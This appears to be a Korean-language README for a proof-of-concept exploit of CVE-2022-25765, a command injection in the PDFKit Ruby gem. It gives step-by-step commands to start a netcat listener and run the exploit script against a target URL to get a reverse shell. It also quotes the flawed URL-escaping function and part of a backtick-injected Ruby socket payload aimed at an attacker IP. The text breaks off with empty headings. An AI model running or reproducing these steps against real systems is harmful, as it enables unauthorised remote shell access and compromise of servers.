
CVE-2022-25765용 익스플로잇
CVE-2022-25765, PDFKit-CMD-Injection에 대한 작은 PoC 익스플로잇
공격 머신에서 netcat 리스너를 시작합니다:
nc -lvnp 4444
익스플로잇을 실행합니다:
python cve-2022-25765.py -t http://TARGET_IP:PORT -l YOUR_IP -p YOUR_PORT
예시:
python cve-2022-25765.py -t http://10.40.11.43:80 -l 10.10.14.12 -p 4444
매개변수:
-t, --target: 취약한 PDFKit이 실행 중인 대상 URL-l, --lhost: 리버스 셸 연결에 사용할 본인의 IP 주소-p, --lport: 리버스 셸 연결에 사용할 포트 (netcat 리스너와 일치해야 함)CVE ID: CVE-2022-25765 CVSS v3.1 점수: 9.8 (치명적) EPSS 점수: 71.381% (99번째 백분위) CWE: CWE-77 - 명령에 사용되는 특수 요소의 부적절한 중화
PDFKit은 wkhtmltopdf 명령줄 도구를 사용하여 HTML을 PDF로 변환하는 Ruby 젬입니다. 이 취약점은 PDFKit이 URL 매개변수를 시스템 셸 명령에 전달하여 PDF를 생성하기 전에 처리하는 방식에 존재합니다.
이 취약점은 URL 정화가 부적절하게 구현된 lib/pdfkit/source.rb에 존재합니다:
def shell_safe_url
url_needs_escaping? ? URI::DEFAULT_PARSER.escape(@source) : @source
end
문제점:
공격 벡터:
이 PoC는 다음과 같은 방법으로 취약점을 악용합니다:
http://ATTACKER_IP:PORT/?name=%20` ruby -rsocket...`'대상 시스템에서: